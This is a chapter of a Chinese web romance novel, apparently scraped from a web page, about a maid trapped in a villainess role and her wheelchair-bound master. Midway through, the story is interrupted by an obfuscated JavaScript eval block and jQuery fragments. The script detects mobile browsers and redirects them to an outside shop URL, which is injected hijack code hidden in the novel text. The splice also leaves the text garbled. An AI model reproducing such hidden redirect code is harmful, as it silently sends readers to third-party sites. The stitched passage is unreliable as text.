“少爷,请您放开我。”她急得眼冒泪花。
君月凝也不明白,她刚刚握紧了茶杯,压根没想过提前松手,但手不听自己的控制,忽然松开。
这就好像当初刚来的时候不愿走剧情,被系统操控了一样……
难道又有系统出现了?
刹那间,君月凝脑海产生一万个鬼点子。
如果刻意违背人设讨好男主,就会被系统检测到?
真是太棒了!
只要男主违背本心喜欢她,那么,新的系统就会过来找她,她就能踩着系统飞快离开这个世界!
君月凝抬眸,对上宴知珣深邃的黑眸,捕捉到他眼底一闪而过的狂喜。
他在高兴什么?
难道……
君月凝垂下眸子,睫羽慌乱颤抖,“少爷,我错了,请您放开我,手好痛……”
宴知珣反应过来,她的手腕在他的掌心下十分纤细,力道再大一点就能掐断。
他心里没有升起排斥的感觉,立即松开了手,稍不经意,指尖染上了她的气息。
沉寂已久的心,早已疯狂跳动,几乎跳出胸膛。
宴知珣眼底一片冷漠,“做错了事,就得乖乖的接受惩罚。”
“我现在就去跪键盘,给您打‘对不起’。”君月凝顺着台阶就下。
虽然每次都说要跪键盘,但她一次都没跪过。
“罚你一周不能见狮子,别墅大扫除的任务交给你,不能找帮手。”
“我一个人打扫整栋别墅?”君月凝怀疑自己听错了。
“嗯。”
宴知珣冷酷的丢下一个“嗯”就朝卧室的方向移动。
过了三秒,他停下,低沉的嗓音传到她这边,“你说的想法,是什么?”
“额……”君月凝迟疑的回答,“我想煮养生茶,茶虽然能平衡神经系统,却会让您失眠,养生茶的话,能够缓解失眠多梦的问题。”
“你在为我着想?”
“是啊!”君月凝眸光闪烁,“我上次不小心拽您一起从楼梯上摔下去,害你加重病情,我万分愧疚,又跟管家了解了您的情况,才知道您不仅入睡困难,睡眠浅,还做噩梦,我非常愧疚,想要对您好。”
宴知珣背对着君月凝,瞳孔微微颤动。
心里升起异样的甜。
她果然在乎他……
*
君月凝任劳任怨,打扫了一天,别墅的一楼还没打扫到一半。
汪管家走了之后,又来了一个中年女人,是个非常严厉的管家,一直盯着她干活,她偷懒一点点,就要被她批评。
君月凝打扫了三天才打扫完了一楼。
雪停了两天,别墅里的积雪被清理干净。
周珩不像之前能够在别墅住下,他每天都来找宴知珣。
“知珣哥,您天天待在屋里都要闷坏了,出去呼吸一下新鲜空气吧。”周珩笑着询问。
宴知珣盯着自己的腿发呆,听不到他的声音。
“知珣哥?”
“什么?”宴知珣问。
“我推你出去呼吸新鲜空气。”
“嗯。”
宴知珣的轮椅是自动的,能够由自己操控,完全不用周珩推。
二楼。
君月凝正在摆花盆。
她眼尖的看到周珩和宴知珣走在一起。
他能不能别来救赎宴知珣了?!
真想放狮子出来,吓跑周珩!
宴知珣经过阳台下面。
君月凝摆放得好好的盆栽,忽然自己掉下去。
反应过来的君月凝飞快去抱盆栽,却还是晚了一步。
“啪啦!!!”
厚重又精美的陶艺花盆砸在宴知珣的脚边。
君月凝瞳孔瑟瑟收缩。
草!
这不是她做的!
有鬼!
宴知珣的心脏停了一拍,按住轮椅,往后退了一米。
他抬起头,看到半个身子挂在栅栏上的女仆,她的下半身几乎不着地,有坠楼的风险。
宴知珣呼吸一滞,低沉的嗓音透着慌张,“站好!不许动!”
君月凝后退了好几步,宴知珣看不到她的身影。
周珩拍了拍胸脯。
“吓死我了,高空抛物会砸死人的!”
“知珣哥,她肯定是故意的,你千万不能放过她!”
宴知珣神色阴沉。
周珩眼底闪过喜色,“她肯定恢复记忆了,故意报复你!”
“闭嘴!”
宴知珣以前怎么不觉得周珩聒噪呢?
比他养的金丝雀还要吵,堪比鹦鹉。
周珩不满的撅了噘嘴,“我在为你打抱不平!”
宴知珣脑海闪过君月凝半个身体探出来的画面,那一刻他想过,如果她摔下来死了,他的心里有点道不明的难受。
君月凝跑过来,气喘吁吁,额角冒出冷汗,苍白的脸浮现一团红晕,“少爷!对不起!我刚刚打扫了阳台,重新摆放花盆,不小心就掉下去了,我不是故意的!”
周珩冷哼一声,“你就是故意的!”
君月凝黑白分明的眼眸浮现水汽,着急的为自己解释,“我宁愿摔下去的是我,而不是这个盆栽!”
“此地无银三百两。”周珩唇角带着讥讽,“你专门等着知珣哥经过,故意把花盆丢下来!好恶毒!”
君月凝:“……”百口莫辩。
恶毒反派光环发作了,她要是能控制得住就控制了……
“少爷,我愿意接受你的惩罚。”
君月凝垂头丧气,完全就是个任人揉搓的软柿子,谁都能来踩一脚。
宴知珣沉声道:“写一万字检讨书给我,不算标点符号。”
君月凝震惊,“一万字?”
生怕他反悔,君月凝飞快转身,“我现在就去写。”
周珩盯着她的背影。
宴知珣敏锐察觉他的心思,不悦道:“你为什么看她?”
“我觉得她……”周珩用手指指了指自己的脑袋,“可能全都想起来了,她在装糊涂,知珣哥,你别放过她,她那么恶毒,这次她没有得手,还是会有下一次的。”
宴知珣眼神闪过一丝阴鸷,“不用你来教我做事。”
没有人知道,他喜欢现在的君月凝。
既然她要装,就得装一辈子,做好不要被别人戳穿的准备。
周珩心里不舒服。
他在为他着想,他一点都不领情,不识好人心。
万一下次断的不是腿,是其手呢?
君月凝的手段很高明,他得找机会让知珣哥看清楚她的真面目。
*<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677994|207574||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>君月凝写一份检讨书,磨磨蹭蹭的写了半个月,浪费了很多信纸。
宴知珣催了第一百次后,她才把检讨书交给他。
茶几旁边,摆了一桌子瓶瓶罐罐,都是枸杞、红枣、桂圆的干货。
君月凝在茶几边忙活,称干货的克重,再放养生壶里。
忙活了半个小时,煮好了一壶五宝暖身茶。
“少爷,这个养生茶,喝了手暖脚暖,晚上睡觉也舒服呢。”她把茶端到他面前。
宴知珣捏紧了一沓信纸,静静地凝视她。
他的眼神带着不容置喙的压迫感。
君月凝脸上明晃晃写着心虚,“少爷?”
“谁教你在检讨书上写……”情话。
这还是他第一次收到“情书”,真是另类。
宴知珣不知道她究竟是真心的还是故意的!
“我……我凑不够一万字,写得头昏眼花,脑子里想不出其他东西了,就……就写了六千字的情话。”
“你!”宴知珣眸子一暗。
“您先喝口茶消消气。”君月凝的声音很小。
“下去。”
“好嘞!”
君月凝火速下了一楼。
三分钟后。
宴知珣再次拿起“情书”,看了两个小时才放下,装进了保险箱里。
他悄悄去到一楼的厨房。
轮椅停在门口,他没有进去,看到了君月凝的身影,她戴上了杏色的围裙,在边台上专心敲鸡蛋。
貌似要做蛋糕。
顶光灯打下来,照得她的皮肤雪白透明,浓密纤长的睫羽在脸颊上落下剪影,神色认真,眼里只有手上的东西,完全不会被其他东西打扰。
像漫画里勤劳乖巧的小女仆。
宴知珣收回了目光,转身往外移动。
周珩一进来就看到他脸上的笑容。
宴知珣是因为君月凝才笑的吗?
周珩心里很不爽,感觉有种属于他的东西被她抢走了。
必须尽快把君月凝带到苏曳霆身边。
君月凝做了两个草莓瑞士卷,还在上面抹了层奶油,再放一个草莓点缀,味道更足。
周珩以为她要拿去给宴知珣,正要进厨房,下一秒,他傻眼了。
君月凝咬了一口瑞士卷,对自己的厨艺很满意,不停地点头。
余光冒出一道清瘦的身影,君月凝看过去,皮笑肉不笑,“周少爷,您什么时候来的?”
“刚刚到。”
“这是我做的瑞士卷,做成功的只有两个,味道还不错,你快尝一下。”君月凝将最后一个瑞士卷递到他面前。
周珩目光呆滞,茫然道:“给我?不给知珣哥?”
“他不爱吃甜品,我做了好多次,他一次都不吃。”
“既然他不吃,你为什么还要做?”
“我借着给他下厨的借口,给自己开小灶。”君月凝压低了声音,“你千万不要把这个小秘密告诉少爷。”
周珩接下她给的蛋糕,不自然的笑了笑,“谢谢,之前我对你说话那么过分……”
“我不记仇的,早就忘了。”
“……”
周珩觉得自己更加虚伪了。
这个瑞士卷,口感有点冰凉,草莓的味道一点点侵袭味蕾,混着奶油,清爽不甜腻,很好吃。